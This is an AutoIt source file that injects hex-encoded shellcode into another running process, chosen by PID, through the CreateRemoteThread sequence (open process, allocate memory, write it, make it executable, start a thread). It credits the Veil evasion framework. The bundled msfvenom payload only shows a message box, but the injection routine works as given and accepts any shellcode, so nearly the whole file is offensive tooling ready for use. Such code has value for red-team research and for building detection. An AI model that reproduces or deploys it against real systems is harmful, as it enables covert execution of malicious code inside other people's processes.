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CreateRemoteThread.au3
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CreateRemoteThread.au3
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#NoTrayIcon
#Region
#AutoIt3Wrapper_Compile_Both=y
#AutoIt3Wrapper_UseX64=y
#AutoIt3Wrapper_Change2CUI=y
#EndRegion
#include <Process.au3>
#include <Memory.au3>
#include <WinAPI.au3>
#cs --------------------------------------------------------------------------------
AutoIt Version: 3.3.14.5
Author: VIVI (https://github.com/V1V1) | (https://twitter.com/_theVIVI)
Script Function:
Injects shellcode into a remote process using the CreateRemoteThread WinAPI.
#ce --------------------------------------------------------------------------------
; Title
ConsoleWrite(@CRLF & "=========== CreateRemoteThread Process Injection ===========" & @CRLF & @CRLF)
; Hex shellcode
; msfvenom -p windows/x64/messagebox EXITFUNC=thread TITLE="What is my purpose?" TEXT="You pass butter." -f hex
Global $hexShellcode = "fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7c1000000003e488d951a0100003e4c8d852b0100004831c941ba45835607ffd5bbe01d2a0a41baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5596f752070617373206275747465722e0057686174206973206d7920707572706f73653f00"
;~ Commandline arguments check
_CheckArguments()
; Check if process is running
_CheckProcess()
; CreateRemoteThread process injection
_ProcessInjection()
#cs ----------------------------------------------------------------------------
Main functions:
_CheckArguments()
_CheckProcess()
_ProcessInjection()
#ce ----------------------------------------------------------------------------
Func _CheckArguments()
If $CmdLine[0] <= 0 Then
ConsoleWrite("[X] You must provide a process ID" & @CRLF & @CRLF)
ConsoleWrite("[i] CreateRemoteThread.exe pid" & @CRLF & @CRLF)
Exit
ElseIf $CmdLine[0] > 1 Then
ConsoleWrite("[X] Too many arguments provided." & @CRLF & @CRLF)
ConsoleWrite("[i] CreateRemoteThread.exe pid" & @CRLF & @CRLF)
Exit
EndIf
EndFunc ;==>_CheckArguments
Func _CheckProcess()
; Process check
ConsoleWrite("----- Process Check -----" & @CRLF & @CRLF)
ConsoleWrite("[*] Checking for target process" & @CRLF & @CRLF)
Global $targetPID = ProcessExists($CmdLine[1])
If Not $targetPID = 0 Then
Global $targetProcName = _ProcessGetName($targetPID)
ConsoleWrite("[i] Target process is running (" & $targetProcName &")" & @CRLF & @CRLF)
ElseIf $targetPID = 0 Then
ConsoleWrite("[X] Target process is not running. Exiting." & @CRLF & @CRLF)
Exit
EndIf
EndFunc ;==>_CheckProcess
Func _ProcessInjection()
; Process injection
ConsoleWrite("----- Process injection -----" & @CRLF & @CRLF)
; Adapted from - https://github.com/Veil-Framework/Veil/blob/master/tools/evasion/payloads/autoit/shellcode_inject/flat.py
; Credits - ChrisTruncer (https://github.com/ChrisTruncer)
Local $autoItshellcode = "0x" & $hexShellcode
Local $shellcodeBuffer = DllStructCreate("byte[" & BinaryLen($autoItshellcode) & "]")
DllStructSetData($shellcodeBuffer, 1, $autoItshellcode)
ConsoleWrite("[i] Shellcode size: " & sizeof($shellcodeBuffer) & " bytes" & @CRLF & @CRLF)
ConsoleWrite("[*] Injecting shellcode into PID:" & $targetPID & " (" & $targetProcName &")" & @CRLF & @CRLF)
; OpenProcess
$hProcess = _WinAPI_OpenProcess( _
$PROCESS_ALL_ACCESS, _
0, _
$targetPID, _
True)
; VirtualAllocEx
$hRegion = _MemVirtualAllocEx( _
$hProcess, _
0, _
sizeof($shellcodeBuffer), _
$MEM_COMMIT + $MEM_RESERVE, _
$PAGE_READWRITE)
; WriteProcessMemory
Local $written
_WinAPI_WriteProcessMemory ( _
$hProcess, _
$hRegion, _
_ptr($shellcodeBuffer), _
sizeof($shellcodeBuffer), _
$written)
; VirtualProtectEx
$protectCall = DllCall("kernel32.dll", "int", "VirtualProtectEx", _
"hwnd", $hProcess, _
"ptr", $hRegion, _
"ulong_ptr", sizeof($shellcodeBuffer), _
"uint", 0x20, _ ;PAGE_EXECUTE_READ
"uint*", 0)
$hProtect = $protectCall[0]
; CreateRemoteThread
$threadCall = DllCall("Kernel32.dll", "int", "CreateRemoteThread", _
"ptr", $hProcess, _
"ptr", 0, _
"int", 0, _
"ptr", $hRegion, _
"ptr", 0, _
"int", 0, _
"dword*", 0)
$hThread = $threadCall[0]
EndFunc ;==>_ProcessInjection
#cs ----------------------------------------------------------------------------
Util functions:
_ptr
sizeof
#ce ----------------------------------------------------------------------------
; Adapted from - https://www.autoitscript.com/forum/topic/95419-injecting-and-executing-code-in-external-process/
; Credits - monoceres (https://www.autoitscript.com/forum/profile/23930-monoceres/)
Func _ptr($s, $e = "")
If $e <> "" Then Return DllStructGetPtr($s, $e)
Return DllStructGetPtr($s)
EndFunc ;==>_ptr
Func sizeof($s)
Return DllStructGetSize($s)
EndFunc ;==>sizeof